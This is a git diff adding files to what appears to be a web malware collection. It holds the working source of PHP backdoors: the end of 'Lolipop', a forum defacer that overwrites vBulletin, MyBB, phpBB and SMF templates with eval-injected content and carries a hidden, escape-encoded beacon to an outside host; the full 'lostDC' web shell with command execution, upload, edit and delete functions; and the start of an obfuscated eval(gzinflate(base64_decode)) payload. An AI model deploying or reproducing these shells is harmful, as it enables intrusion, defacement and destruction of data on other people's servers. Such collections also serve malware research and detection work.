cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'> + <tr> + <td><font color='#000000'> + + + <font size='5'>Lolipop BETA ( Powered By <font color='#FF0000'><strong>KingDefacer</a></strong></font> )</font></font> + + </tr> + <tr> + <td style='border: 1px solid #333333'> + <font face='Verdana' size='1' color='#000000'>Site: <u>$site</u><br>Server name: <u>$sname</u><br>Software: <u>$info</u><br>Version : <u>$version</u><br>Uname -a: <u>$uname</u><br>Path: <u>$ccc</u><br>Safemode: <u>$c_h</u><br>Disable Functions: <u>$dis</u><br>Page: <u>$page</u><br>Your IP: <u>$yourip</u><br>Server IP: <u><a href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font></td> + </tr> +</table>"; +echo '<td><font color="#CC0000"><strong></strong></font><font color="#000000"></em></font> </tr> +'; +//Buton Listesi +echo "<center><form method=POST action''><input type=submit name=vbulletin value='VB HACK.'><input type=submit name=mybulletin value='MyBB HACK.'><input type=submit name=phpbb value=' phpBB HACK. '><input type=submit name=smf value=' SMF HACK. '></form></center>"; + + + + +//VB HACK +if (isset($_POST['vbulletin'])) +{ +echo "<center><table border=0 width='100%'> +<tr><td> +<center><font face='Arial' color='#000000'>==Lolipop VB index.==</font></center> + <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input type=text name=dbh value=localhost size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>DbKullanici<br></font><input type=text name=dbu size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbadi<br></font><input type=text name=dbn size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + + <font face='Arial' color='#000000'>Dbsifre<br></font><input type=password name=dbp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>?ndexin Yaz?lacag? B?l?m</font><br><textarea name=index rows='19' cols='103' style='color: #000000; background-color: #FFFFFF'>buraya indexiniz gelecek.?ndexi yaz postala kay gitsin.</textarea><br> + <input type=submit value='Kay Gitsin!' ></form></center></td></tr></table></center>"; +die(); +} +$KingDefacer="Powered By Lolipop :))"; +$dbh = $_POST['dbh']; +$dbu = $_POST['dbu']; +$dbn = $_POST['dbn']; +$dbp = $_POST['dbp']; +$index = $_POST['index']; +$index=str_replace("\'","'",$index); +$set_index = "{\${eval(base64_decode(\'"; + +$set_index .= base64_encode("echo \"$index\";"); + + +$set_index .= "\'))}}{\${exit()}}</textarea>"; + + +if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) +{ +mysql_connect($dbh,$dbu,$dbp) or die(mysql_error()); +mysql_select_db($dbn) or die(mysql_error()); +$loli1 = "UPDATE template SET template='".$set_index."".$KingDefacer."' WHERE title='spacer_open'"; +$loli2 = "UPDATE template SET template='".$set_index."".$KingDefacer."' WHERE title='FORUMHOME'"; +$loli3 = "UPDATE style SET css='".$set_index."".$KingDefacer."', stylevars='', csscolors='', editorstyles=''"; +$result = mysql_query($loli1) or die (mysql_error()); +$result = mysql_query($loli2) or die (mysql_error()); +$result = mysql_query($loli3) or die (mysql_error()); +echo "<script>alert('Vb Hacked');</script>"; +} + +//MyBB Hack +if (isset($_POST['mybulletin'])) +{ +echo "<center><table border=0 width='100%'> +<tr><td> +<center><font face='Arial' color='#000000'>==Lolipop MyBB index.==</font></center> + <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input type=text name=mybbdbh value=localhost size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>DbKullanici<br></font><input type=text name=mybbdbu size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbadi<br></font><input type=text name=mybbdbn size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbsifre<br></font><input type=password name=mybbdbp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>?ndexin Yaz?lacag? B?l?m</font><br><textarea name=mybbindex rows='19' cols='103' style='color: #000000; background-color: #FFFFFF'>buraya indexiniz gelecek.?ndexi yaz postala kay gitsin.</textarea><br> + <input type=submit value='Kay Gitsin!' ></form></center></td></tr></table></center>"; +die(); +} +$mybb_dbh = $_POST['mybbdbh']; +$mybb_dbu = $_POST['mybbdbu']; +$mybb_dbn = $_POST['mybbdbn']; +$mybb_dbp = $_POST['mybbdbp']; +$mybb_index = $_POST['mybbindex']; + +if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) +{ +mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error()); +mysql_select_db($mybb_dbn) or die(mysql_error()); +$prefix="mybb_"; +$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'"; + +$result = mysql_query($loli7) or die (mysql_error()); + +echo "<script>alert('MyBB Hacked');</script>"; +} +//PhpBB +if (isset($_POST['phpbb'])) +{ +echo "<center><table border=0 width='100%'> +<tr><td> +<center><font face='Arial' color='#000000'>==Lolipop PHPBB index.==</font></center> + <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input type=text name=phpbbdbh value=localhost size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>DbKullanici<br></font><input type=text name=phpbbdbu size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbadi<br></font><input type=text name=phpbbdbn size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbsifre<br></font><input type=password name=phpbbdbp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Yazi Veya KOD<br></font><input type=text name=phpbbkat size='100' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Degisecek KATEGORI ID si<br></font><input type=text name=katid size='100' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <input type=submit value='Kay Gitsin!' ></form></center></td></tr></table></center>"; +die(); +} +$phpbb_dbh = $_POST['phpbbdbh']; +$phpbb_dbu = $_POST['phpbbdbu']; +$phpbb_dbn = $_POST['phpbbdbn']; +$phpbb_dbp = $_POST['phpbbdbp']; +$phpbb_kat = $_POST['phpbbkat']; +$kategoriid=$_POST['katid']; + +if (!empty($phpbb_dbh) && !empty($phpbb_dbu) && !empty($phpbb_dbn) && !empty($phpbb_kat)) +{ +mysql_connect($phpbb_dbh,$phpbb_dbu,$phpbb_dbp) or die(mysql_error()); +mysql_select_db($phpbb_dbn) or die(mysql_error()); + + +$loli10 = "UPDATE phpbb_categories SET cat_title='".$phpbb_kat."' WHERE cat_id='".$kategoriid."'"; + +$result = mysql_query($loli10) or die (mysql_error()); + +echo "<script>alert('PhpBB Hacked');</script>"; +} +//SmfHACK +if (isset($_POST['smf'])) +{ +echo "<center><table border=0 width='100%'> +<tr><td> +<center><font face='Arial' color='#000000'>==Lolipop SMF Index.==</font></center> + <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input type=text name=smfdbh value=localhost size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>DbKullanici<br></font><input type=text name=smfdbu size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbadi<br></font><input type=text name=smfdbn size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Dbsifre<br></font><input type=password name=smfdbp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Yazi Yada KOD<br></font><input type=text name=smf_index size='100' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + <font face='Arial' color='#000000'>Degisecek KATEGORI ID si <br></font><input type=text name=katid size='100' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> + + <input type=submit value='Kay Gitsin!' ></form></center></td></tr></table></center>"; +die(); +} +$smf_dbh = $_POST['smfdbh']; +$smf_dbu = $_POST['smfdbu']; +$smf_dbn = $_POST['smfdbn']; +$smf_dbp = $_POST['smfdbp']; +$smf_index = $_POST['smf_index']; +$smf_katid=$_POST['katid']; + +if (!empty($smf_dbh) && !empty($smf_dbu) && !empty($smf_dbn) && !empty($smf_index)) +{ +mysql_connect($smf_dbh,$smf_dbu,$smf_dbp) or die(mysql_error()); +mysql_select_db($smf_dbn) or die(mysql_error()); +$prefix="smf_"; +$loli12 = "UPDATE ".$prefix."categories SET name='".$smf_index."' WHERE ID_CAT='".$smf_katid."'"; + +$result = mysql_query($loli12) or die (mysql_error()); + +echo "<script>alert('smf Hacked');</script>"; +} + + +//Alt taraf +echo " + + +<br><table width='100%' height='1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 id='table1' style='BORDER-COLLAPSE: collapse'> +<tr> +<td width='25%' height='1' valign='top' style='font-family: verdana; color: #000000; font-size: 11px'> + + <p><strong>Lolipop.php</strong></p> + <p><strong>Edited By KingDefacer</strong></p> +<p><strong></strong><br> +</p></td> +</tr></table>"; + + + +// Kod bitisi +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/lostDC.txt b/web-malware-collection-master/Backdoors/PHP/lostDC.txt new file mode 100755 index 0000000..e3dfd5f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/lostDC.txt @@ -0,0 +1,475 @@ + <?php + +/* * + * + * lostDC shell + * PHP Shell scritta da lostpassword, D3vilc0de crew + * Rilasciata sotto licenza GPL 2009/2010 + * Data rilascio: 25/12/2009 (eh si, il giorno di natale non avevo niente da fare) + * La Shell presenta varie funzioni, ma rimane comunque in continuo aggiornamento + * + * */ + +if (!function_exists("getTime")) { + function getTime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); + } +} +define("startTime",getTime()); + +if (!function_exists("shellexec")) { + function shellexec($cmd) { + global $disablefunc; + $result = ""; + if (!empty($cmd)) { + if (is_callable("exec") and !in_array("exec",$disablefunc)) { + exec($cmd,$result); + $result = join("\n",$result); + } elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) { + $v = ob_get_contents(); + ob_clean(); + system($cmd); + $result = ob_get_contents(); + ob_clean(); + echo $v; + } elseif (is_resource($fp = popen($cmd,"r"))) { + $result = ""; + while(!feof($fp)) { + $result .= fread($fp,1024); + } + pclose($fp); + } + } + return $result; + } +} + +function getperms ($file) { + $perm = substr(sprintf('%o', fileperms($file)), -4); + return $perm; +} + +if (!function_exists("view_size")) { + function view_size($size){ + if (!is_numeric($size)) { + return FALSE; + } else { + if ($size >= 1073741824) { + /* Conversione da Byte a GigaByte */ + $size = round($size/1073741824*100)/100 ." GB"; + } elseif ($size >= 1048576) { + /* Conversione da Byte a MegaByte */ + $size = round($size/1048576*100)/100 ." MB"; + } elseif ($size >= 1024) { + /* Conversione da Byte a KiloByte */ + $size = round($size/1024*100)/100 ." KB"; + } else { + /* Byte */ + $size = $size . " B"; + } + return $size; + } + } +} + +function getinfo() +{ + $info = ''; + $info .= '[~]Versione PHP: ' .phpversion() .'<br />'; + $info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />'; + $info .= '[~]Indirizzo IP: ' .$_SERVER['SERVER_ADDR'] .'<br />'; + $info .= '[~]Software: ' .$_SERVER['SERVER_SOFTWARE'].'<br />'; + $info .= '[~]Charset: ' .$_SERVER['HTTP_ACCEPT_CHARSET'] . '<br />'; + $info .= ((ini_get('safe_mode') == 0) ? '[~]Safe Mode: <font color="#00FF33">OFF</font><br />' : '[~]Safe Mode: <font color="#FF3300">OFF</font><br />'); + $info .= ((ini_get('magic_quotes_gpc') == 0) ? '[~]Magic Quotes: <font color="#00FF33">OFF</font><br />' : '[~]Magic Quotes: <font color="#FF3300">ON</font><br />'); + if (is_callable("disk_free_space")) { + $d = realpath("."); + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE || $free < 0) { + $free = 0; + } + if ($total === FALSE || $total < 0) { + $total = 0; + } + $used = $total-$free; + $info .= "[~]Free space: ".view_size($free)."/".view_size($total)."<br />"; + } + return $info; +} + +if (!isset ($_GET ['dir'])){ + $dir = getcwd (); +} +else { + $dir = $_GET ['dir']; +} +chdir ($dir); + +$current = getcwd (); +$c = "?dir=" . $current; + +$home = "<html> + <head> + <title>lostDC - ".$current."</title> + <style type=\"text/css\"> + body { + color: #FFFFFF; + background-color: black; + font-family: Courier New, Verdana, Arial; + font-size: 11px; + cursor: crosshair; + } + a:link { + color: #FFFFFF; + text-decoration: none; + } + a:visited { + color: #FFFFFF; + text-decoration: none; + } + a:hover { + cursor: crosshair; + text-decoration: none; + color: #808080; + } + a.head { + text-decoration: none; + text-color: #FF0000; + } + a.head:hover { + cursor: crosshair; + text-decoration: none; + color: #FF0000; + } + table { + font-size: 11px; + } + td.list { + border: 1px solid white; + font-size: 11px; + } + td.list:hover { + background: #222; + } + #info { + font-size: 12px; + width: 50%; + margin-left: 20%; + text-align: left; + } + #foot { + font-size: 12px; + width: 65%; + margin-left: 20%; + text-align: left; + } + input:hover, textarea:hover { + background: #808080; + cursor: crosshair; + } + #perm { + color: #FF0000; + } + + </style> + </head> + <body>"; + +print $home."<center><a href = \"".$_SERVER['PHP_SELF']."\"><img src = \"http://img367.imageshack.us/img367/9834/bannerdc2bygu.png\" border = \"none\"></a></center>"; +print "<hr size=\"1\" width=\"60%\" noshade />\n<div id = \"info\">[~]Directory corrente: " . getcwd () . "<br />".getinfo()."</div>\n<hr size=\"1\" width=\"60%\" noshade />"; + +print "<table width = 60% height = 10% align = \"center\">\n"; +print "<tr>\n"; +print "<td>[ <a class = \"head\" href = '" . $c . "&mode=create'>New</a> ]</td>\n"; +print "<td>[ <a class = \"head\" href = '" . $c . "&mode=phpinfo'>PHP Info</a> ]</td>\n"; +print "<td>[ <a class = \"head\" href = '" . $c . "&mode=nopaste&action=ins'>No-Paste</a> ]</td>\n"; +print "<td>[ <a class = \"head\" href = '" . $c . "&mode=execute'>Shell Command</a> ]</td>\n"; +print "<td>[ <a class = \"head\" href = '" . $c . "&mode=hasher'>Hasher</a> ]</td>\n"; +print "<td>[ <a class = \"head\" href = '" .$c . "&mode=selfremove'>Self Remove</a> ]</td>\n"; +print "</tr></table><center>"; + +$mode = $_GET ['mode']; +switch ($mode) { + case "edit": + $file = $_GET ['file']; + $new = $_POST ['new']; + if (empty ($new)) { + $fp = fopen ($file , "r"); + $cont = fread ($fp, filesize ($file)); + $cont = str_replace ("<textarea>" , "<textarea>" , $cont); + print "<form action = '" . $c . "&mode=edit&file=" . $file . "' method = 'POST'>\n"; + print "File: ". $file . "<br />\n"; + print "<textarea name = 'new' rows = '25' cols = '100'>" . $cont . "</textarea><br />\n"; + print "<input type = 'submit' value = 'Edit'></form>\n"; + } + else { + $fp = fopen ($file , "w"); + if (fwrite ($fp , $new)) { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + } + else { + print "Impossibile editare " . $file . "<br />\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } + } + fclose ($fp); + break; + case "upload": + $temp = $_FILES ['file'] ['tmp_name']; + $file = basename ($_FILES ['file'] ['name']); + if (!empty ($file)) { + if (move_uploaded_file ($temp , $file)) { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + } + else { + print "Impossibile caricare " . $file . "\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } + } + break; + case "download": + $filename = $_GET['filename']; + header("Pragma: no-cache"); + header("Expires: 0"); + header ( "Content-type: application/octet-stream" ); + header ( "Content-Disposition: attachment; filename=".$filename.";" ); + header ( "Content-Description: Download manager" ); + header ( "Content-Length: " . filesize ($filename) ); + readfile ($filename); + break; + case "rename": + $old = $_GET ['old']; + print "<form action = '". $c . "&mode=rename&old=" . $old . "' method = 'POST'>\n"; + print "New name: <input name = 'new'><br />\n"; + print "<input type = 'submit' value = 'Rename'></form>\n"; + $new = $_POST ['new']; + if (!empty ($new)) { + if (rename ($old , $new)) { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + } + else { + print "Impossibile rinominare " . $old . ".<p>\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } + } + break; + case "chmod": + if (chmod($_POST['tomod'], intval($_POST['mod'], 8)) == false) { + print "Impossibile cambiare i permessi a " .$_POST['tomod'] . "<br />"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } + else { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + // print "".$_POST['tomod']." con permessi: ".intval($_POST['mod'], 8)." e' stato chmoddato\n"; + } + break; + case "remove": + $file = $_GET ['file']; + if (unlink ($file)) { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + } + else { + print "Impossibile rimuovere " . $file . " <br />\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } + break; + case "selfremove": + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir.'&mode=remove&file='.__FILE__); + break; + case "makedir": + if (mkdir($_POST['dir'], 0777) == false) { + print "Impossibile creare directory; " .$_POST['dir'] . " <br />\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n"; + } else { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']); + } + break; + case "godir": + $goto = $_POST['goto']; + if (isset($_POST['goto'])) { + chdir($goto); + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].$c.'/'.$goto); + } else { + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']); + } + break; + case "elimina": + $dire = $_GET['dire']; + if ($handle = opendir($dire)) { + $array = array(); + while (false != ($file = readdir($handle))) { + if ($file != "." && $file != "..") { + if(is_dir($dire.$file)) { + if(!rmdir($dire.$file)) { + delete_directory($dire.$file.'/'); + } + } + else { + unlink($dire.$file); + } + } + } + closedir($handle); + rmdir($dire); + } + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + break; + case "create": + $new = $_POST ['new']; + if (isset($_POST['new'])) { + if (!empty ($new)) { + if ($fp = fopen ($new, "w")){ + header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); + } + else { + print "Impossibile creare " . $file . ".<p>\n"; + echo "<a href=\"javascript:history.go(-1)\">Indietro</a></center><br /><br />\n"; + } + fclose ($fp); + } + } + else { + print "<form action = '" . $c . "&mode=create' method = 'POST'>\n"; + print "<tr><td>New file: <input name = 'new'></td>\n"; + print "<td><input type = 'submit' value = 'Create'></td></tr></form>\n"; + } + break; + case "nopaste": + switch ($_GET ['action']) { + case "ins": + print "<form action '" . $c . "&action=ins' method = 'POST'>\n"; + print "Title: <input type = 'text' name = 'title'><br />\n"; + print "Language: <input type = 'text' name = 'language'><br />\n"; + print "Script: <br /><textarea name = 'source' rows = '30' cols = '50'></textarea><br />\n"; + print "<input type = 'submit' value = 'Submit'></form>\n"; + if (!empty ($_POST ['title']) && !empty ($_POST ['language']) && !empty ($_POST ['source'])) + { + $file = rand (1000000, 9999999); + $fp = fopen ($file, "w"); + fwrite ($fp, $_POST ['title'] . "\n" . $_POST ['language'] . "\n\n" . $_POST ['source']); + fclose ($fp); + header ("Location: {$c}&mode=nopaste&action=view&id={$file}"); + } + break; + case "view": + $id = $_GET ['id']; + $fp = fopen ($id, "r"); + $read = fread ($fp, filesize ($id)); + print "<table border = '1'>\n<tr>\n<td>\n<pre>" . htmlentities ($read) . "</pre></td>\n</tr>\n</table>\n"; + fclose ($fp); + break; + } + break; + case "execute": + $command = $_POST ['command']; + if (!isset ($_POST['command'])) { + print "<table>\n<form action = '" . $c . "&mode=execute' method = 'POST'>\n"; + print "<tr>\n<td><input type = 'text' name = 'command'></td>\n</tr>\n"; + print "<tr>\n<td><input type = 'submit' value = 'Execute'></td>\n</tr>\n</form>\n</table>"; + } + else { + $ret = shellexec($command); + if ($ret == "") { + print "Il comando non puo' essere eseguito sul server<br /><br /><br />\n"; + } + else { + print "Executing the following command:<br />\n"; + print "<textarea rows = '5' cols = '60'>".$command."</textarea><br />\n"; + print "Result:<br /> <textarea rows = '5' cols = '60'>".$ret."</textarea><br /><br /><br />\n"; + } + } + break; + case "hasher": + print "<table>\n<form action = '" . $c . "&mode=hasher' method = 'POST'>\n"; + print "<tr>\n<td><input type = 'text' name = 'hash'></td>\n</tr>\n"; + print "<tr>\n<td><select name = 'type'>\n"; + print "<option>md4</option>\n"; + print "<option>md5</option>\n"; + print "<option>sha1</option>\n"; + print "<option>gost</option>\n"; + print "<option>crc32</option>\n"; + print "<option>adler32</option>\n"; + print "<option>whirlpool</option>\n"; + print "</select></td>\n</tr>"; + print "<tr>\n<td><input type = 'submit' value = 'hash'></td>\n</tr></form>\n</table>"; + if (!empty ($_POST ['hash']) && !empty ($_POST ['type'])) { + print $_POST ['hash'] . ": " . "<b>" . hash ($_POST ['type'], $_POST ['hash']) . "</b>"; + } + break; + case "phpinfo": + phpinfo(); + break; + default: + print "<table style = \"border: 1px solid black;\" width=\"60%\">\n"; + $files = scandir ($dir); + foreach ($files as $out) { + if (is_file ($out)) { + + print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " .$c ."&mode=download&filename=".$out.">" . $out ."</a></td>\n"; + print "<td width = \"10%\" class = \"list\">".view_size(filesize($out))."</td>"; + print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n"; + print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=edit&file=" . $out . "'><img src = 'http://img189.imageshack.us/img189/9858/editj.gif' alt = \"edita file\" border = \"none\"></a> + <a href = '" . $c ."&mode=remove&file=" . $out . "'><img src = 'http://img193.imageshack.us/img193/9589/deletef.gif' alt = \"elimina file\" border = \"none\"></a> + <a href = '" . $c ."&mode=rename&old=" . $out . "'><img src = 'http://img51.imageshack.us/img51/7241/replyl.gif' alt = \"rinomina file\" border = \"none\"></a> + </td>\n</tr>"; + } + else { + if ($out != "." && $out != "..") { + print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " . $c . "/" . $out . ">" . $out . "</a></td>\n"; + print "<td width = \"10%\" class = \"list\">FOLDER</td>"; + print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n"; + print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=elimina&dire=" . $out . "'><img src = 'http://img193.imageshack.us/img193/9589/deletef.gif' alt = \"elimina directory\" border = \"none\"></a></td>\n</tr>"; + } + if ($out == "..") + print "<td width = \"55%\" class = \"list\"><a href = " . $c . "/" . $out . ">..</a></td>\n"; + } + } + print "</table>\n"; +} + +print "</center>\n<hr size=\"1\" width=\"60%\" noshade />"; +print "\n</hr>"; +print "<table id = \"foot\"> + <tr> + <td width = \"40%\"> + <form action = '" . $c . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'> + Upload file: <input type = 'file' name = 'file'> + <input type = 'submit' value = 'Upload'> + </form> + </td> + <td width = \"50%\"> + <form method=\"POST\" action=\"".$c."&mode=chmod\"> + Chmod File: <input type=\"text\" name=\"tomod\" value = \"filename\"> + <input type=\"number\" name=\"mod\" value = \"0666\"> + <input type=\"submit\" name=\"submit\" value=\"Chmod\"> + </form> + </td> + </tr> + <tr> + <td width = \"40%\"> + <form method=\"POST\" action=\"?dir='.$c.'&mode=makedir\"> + Mkdir: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=\"text\" name=\"dir\" value=\"namedir\"> + <input type=\"submit\" name=\"submit\" value=\"Create\"> + </form> + </td> + <td width = \"50%\"> + <form action = '" . $c . "&mode=create' method = 'POST'> + New file:&nbsp;&nbsp; <input name = 'new'> + <input type = 'submit' value = 'Create'></form> + </td> + </tr> + <tr> + <td> + <form method = \"POST\" action = \"?dir='.$c.'&mode=godir\"> + Go dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input name = 'goto'> + <input type = 'submit' value = 'Go'> + </form> + </td> + </tr> + </table><hr size=\"1\" width=\"60%\" noshade />\n</hr>"; + print "<center>[ Generation time: ".round(getTime()-startTime,4)." seconds | by <a href=\"http://lostpassword.hellospace.net\">lostpassword</a> and <a href = \"http://www.d3vilc0de.org\">D3vilc0de crew</a> ]</center>\n</body>\n</html>"; + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/ly0kha.txt b/web-malware-collection-master/Backdoors/PHP/ly0kha.txt new file mode 100755 index 0000000..dbeaf93 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ly0kha.txt @@ -0,0 +1,1724 @@ +<? eval(gzinflate(base64_decode(' +7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j +I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8 +s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f ++ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo +Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm +P903RmzBTexozXtM+2dZxqBJjP3Fjgcj0+rbjH5T +Vga//j9/sQOt3x5rbYOS4l3xq5Aw+u0EW2Tw0TXt +DkuKLyk/nDZEMG2oNUyWpA8A8eHZdOrD6v9ixfGo +Y/RHZstsakgXx6lBKiuw3CZbTDLNBwIZx33GUh7Q +LIBCV4UCt1oI7EJSweSB1Tb77Fd2otn2xBrqrGUN +mdZsGrZNqJOlveLRboWd7VXr796949UxluhSZyfo +Z09jHUtjY9sYsgeNDQAVYw1oMBt1xtqIjSytz3r6 +CoPq+1oPeJBdX11qLOWbq6v5hm6sLmsNrdHINgzj +w1p+pdVcSmwyqJoQdpFAJBzRzlmS8aID0abUPyli +b98YzY7FYrF0Z9Tr2gOjaWrdZkcb2sl40xo8pdKx +GPDeGA6t4d3QGFjDkdlvJ7MpSLSN0V1Pa5vNuz/G +1siw74Zj6MSewXM/YTb+vOuaPXMkEs2+eQcZyURP +e7wzHo3mGDuc4BILPhBrPBqMR3eNcatlDKFWARC3 +tZZx14PhDYJB0G2EdlITBPRgDG0uSolceimHMmy2 +kiL1rmn1BtrQSIIOFEnJ1AJLLKdz6WwixQoFtpiD +fmB/wr/43clx/QykqMB+je+dnZ3Q77uLYq2+Sdm7 +Fcx1s+G3kluv1C4qNTeX/1YASsfHn6sVF4D/dgB+ +IOEs+ant53Z70EymJJEwDgytCeNcUKvZLH5f2Io/ +IABBiHZ8id9/hbrs0dAc2F3N7hjQ0w/IMoZVqYgE +YaGoeN4sZD9QwIDtYhiDckghAmzPO9PGTpb8+ZI4 +2Tu5K56f7d2dQ0ria4r99ReOwikQ7woFGqBTIE8u +BRwOLqKfN4B1DE03hsnE5eXlolRnoHyMDbat2WaT +ARO6vUKM6w0GDet2YwneMKcs9lYGBIYtZ3PsvI9t +tIbmd0OXgMYjyH3sY2PrI6icodEqBKeYLV7Dx4y2 +xTZYkTQZKxt909A/ZhpbMYEJGAn/j2PNKNEf3y2C +4hTEscXFrbdvPuL4pU+Awc+eMdJo+lo0/hibD4VY +yeqPoJmLcsaIsSZPKcS04aKtxZxSpPViu5WjSq14 +dlxTAA/N5tCyrdaI7Qwh7QTQsNV01l/0ZGi1q7pS +zoFOV3RzZA3TZas57kFWbCqpZ08DlcyR8TjKYDs3 +GakoY1SYmH3dmtiLufzKKuEamaOusaX228cMT0NZ +xP99rJ9dH1To5/Zx+VoMIPFXL9WODw62i7XFnWKp +slg6PjiubbBfsvS3qWTvVXf3DuDf2RSY+l6xfHwZ +AJC/W/SnFlgqe1F+yK8ur6yqEMVaTcEYzD+rFUuf +nfz8Ov5vk+0cH51Bgw6rB9cb7MIY6lpfU0uVi7XP 